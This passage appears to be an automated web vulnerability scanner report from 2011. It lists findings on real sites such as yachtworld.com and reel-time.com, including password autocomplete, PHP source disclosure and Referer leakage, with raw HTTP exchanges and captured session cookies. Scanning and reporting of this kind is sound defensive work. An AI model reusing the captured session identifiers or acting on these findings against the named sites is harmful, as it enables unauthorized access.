VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /i/i.gif?t=v&d=us&s=a&c=h&l=dir&o=0&sv=0a5c404a&p=homepage&ord=7097259 HTTP/1.1 Host: wzus1.ask.com Proxy-Connection: keep-alive Referer: http://www.ask.com/?o=0&l=dir Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cu.wz=0; tbe=1; accepting=1; user=o=0&l=dir; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://wzus1.ask.com/i/i.gif?t=S&d=us&s ...[SNIP]...
10. Password field with autocomplete enabledpreviousnext There are 19 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field with autocomplete enabled:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy.php
The form contains the following password field with autocomplete enabled:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The page contains a form with the following action URL:
http://malsup.com/jquery/form/dummy2.php
The form contains the following password field with autocomplete enabled:
Password
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The form contains the following password field with autocomplete enabled:
vb_login_password
Request
GET /forums/showthread.php?t=39177&highlight=smooth HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.reel-time.com/forum/login.php?do=login
The form contains the following password field with autocomplete enabled:
vb_login_password
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
The page contains a form with the following action URL:
https://www.yachtworld.com/boat-loans/myLoan.jsp
The form contains the following password field with autocomplete enabled:
KField.MyLoan.Password
Request
GET /boat-loans/myLoan.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:36 GMT Server: Apache Set-Cookie: JSESSIONID=C49ADEF3AACD827887E2EE0BB766CCF9.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com </title>
The application appears to disclose some server-side source code written in PHP.
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh HTTP/1.1 Host: hire.jobvite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=hohum555xhe001j4fainx255; path=/; HttpOnly X-AspNet-Version: 2.0.50727 Set-Cookie: guestidc=04748c45-cae2-4fea-a87a-0039dff74982; expires=Sat, 26-Feb-2011 19:13:08 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 27 Jan 2011 19:13:08 GMT Connection: close Content-Length: 46678
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:09 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120172
...[SNIP]... <div style="margin-bottom:8px;"> <a onmousedown="return pk(this,{en:'af',io:'0',b:'sa',tp:'d',ec:'10'});" href="http://www.vdh.virginia.gov/EnvironmentalHealth/Wastewater/faq/index.htm" class="q_top_q_link b">What are the Virginia Department of Health's <b> ...[SNIP]...
<a onmousedown="return pk(this,{en:'af',io:'0',b:'sa',tp:'d',ec:'10'});" href="http://www.vdh.virginia.gov/EnvironmentalHealth/Wastewater/faq/index.htm" class="L1">See entire page »</a> ...[SNIP]... <div style="margin-bottom:8px;"> <a onmousedown="return pk(this,{en:'af',io:'1',b:'sa',tp:'d',ec:'10'});" href="http://www.ci.davidson.nc.us/index.asp?nid=507" class="q_top_q_link b">How and why does the Town of Davidson <b> ...[SNIP]...
<a onmousedown="return pk(this,{en:'af',io:'2',b:'sa',tp:'d',ec:'10'});" href="http://www.lakenormancvb.com/faq.html" class="L1">See entire page »</a> ...[SNIP]... <div> <a name="anchq_0" onmousedown="return pk(this,{en:'af',io:'3',b:'sa',tp:'d',ec:'10'});" href="http://answers.yahoo.com/question/index?qid=20071018205431AAUL41n" class="L4">Do we have law or <b> ...[SNIP]... <div> <a name="anchq_1" onmousedown="return pk(this,{en:'af',io:'4',b:'sa',tp:'d',ec:'10'});" href="http://www.blurtit.com/q7889220.html" class="L4">Where Can I Buy A <b> ...[SNIP]... <div> <a name="anchq_2" onmousedown="return pk(this,{en:'af',io:'5',b:'sa',tp:'d',ec:'10'});" href="http://www.faqs.org/abstracts/Sports-and-fitness/The-float-plan-your-eyes-ashore-Why-the-fuss-about-the-new-Kiwi-boat-inspection-regulation.html" class="L4">Why the fuss about the new Kiwi <b> ...[SNIP]... <div> <a name="anchq_3" onmousedown="return pk(this,{en:'af',io:'6',b:'sa',tp:'d',ec:'10'});" href="http://www.birchlakeassociation.com/blquestionnaire.html" class="L4">Do you believe there should be more strict <b> ...[SNIP]... <div> <a name="anchq_4" onmousedown="return pk(this,{en:'af',io:'7',b:'sa',tp:'d',ec:'10'});" href="http://www.multihulls4us.com/forums/showthread.php?s=14065e4b9223420cb786576341daa96c&t=2208" class="L4">Is there a professional association who <b> ...[SNIP]... <div> <a name="anchq_5" onmousedown="return pk(this,{en:'af',io:'8',b:'sa',tp:'d',ec:'10'});" href="http://my.boatus.com/forum/forum_posts.asp?TID=48278&PN=84&get=last" class="L4">IP Logged Hello all, Has anyone heard about the new <b> ...[SNIP]... <div> <a name="anchq_6" onmousedown="return pk(this,{en:'af',io:'9',b:'sa',tp:'d',ec:'10'});" href="http://www.yachtingnz.org.nz/NewsletterDetail.aspx?NewsletterID=306" class="L4">Does the <b> ...[SNIP]...
...[SNIP]... <div class="txt3" style="margin-top:10px;clear:both">If you continue to have trouble accessing your account, please<a href="http://asksupport.custhelp.com/app/answers/list" target="_blank" style="margin-left:5px">contact us</a> ...[SNIP]...
<a id="r5_t" href="http://www.reuseit.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a006',tp:'d',ec:'1',ex:'tsrc%3Dvnru'},'false',0)" class="title txt_lg" target="_blank" >Reusables for every part of your life - Reuseit.com</a> ...[SNIP]... <td>
<a id="r8_t" href="http://www.boatpartsinfo.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a009',tp:'d',ec:'1',ex:'tsrc%3Dtxtx'},'false',0)" class="title txt_lg" target="_blank" >News and Information on <b> ...[SNIP]... <td>
<a id="r9_t" href="http://www.boatoregon.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a010',tp:'d',ec:'1',ex:'tsrc%3Dtxtx'},'false',0)" class="title txt_lg" target="_blank" >State of Oregon: Oregon State Marine Board</a> ...[SNIP]...
<a id="r5_t" href="http://www.reuseit.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a006',tp:'d',ec:'1',ex:'tsrc%3Dvnru'},'false',0)" class="title txt_lg" target="_blank" >Reusables for every part of your life - Reuseit.com</a> ...[SNIP]... <td>
<a id="r8_t" href="http://www.boatpartsinfo.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a009',tp:'d',ec:'1',ex:'tsrc%3Dtxtx'},'false',0)" class="title txt_lg" target="_blank" >News and Information on <b> ...[SNIP]... <td>
<a id="r9_t" href="http://www.boatoregon.com/" onmousedown="return fp(this,{en:'te',io:'0',b:'a010',tp:'d',ec:'1',ex:'tsrc%3Dtxtx'},'false',0)" class="title txt_lg" target="_blank" >State of Oregon: Oregon State Marine Board</a> ...[SNIP]...
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /forums/showthread.php?t=39177&highlight=smooth HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"> <head> <met ...[SNIP]... <!-- / CSS Stylesheet -->
<script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/yahoo-dom-event/yahoo-dom-event.js?v=381"></script> <script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/connection/connection-min.js?v=381"></script> ...[SNIP]... </form> <script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script> ...[SNIP]... <br /> * For example of the problem, see: <a href="http://acreativellc.com/newsite/nav.php" target="_blank">http://acreativellc.com/newsite/nav.php</a> ...[SNIP]... <br /> * It works fine with one sub-menu arrow, as seen on <a href="http://acreativellc.com/newsite/navA/nav.php" target="_blank">http://acreativellc.com/newsite/navA/nav.php</a> ...[SNIP]... <br /> If I move cursor down on to one of the dropdown elements and then move the cursor quickly back up, part of the shadow remains painted on the screen. See <a href="http://img229.imageshack.us/img229/8436/20081221145133cruw5.png" target="_blank">http://img229.imageshack.us/img229/8...45133cruw5.png</a> ...[SNIP]... <li class="smallfont" style="width:25%; min-width:160px; float:left; margin-top:6px">
GET /forum/showthread.php?t=41911 HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: SHOWTHREAD -->
GET /core/globalnav/emailForm.jsp?send_to=tech&refer_page=/core/globalnav/contactUs.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; 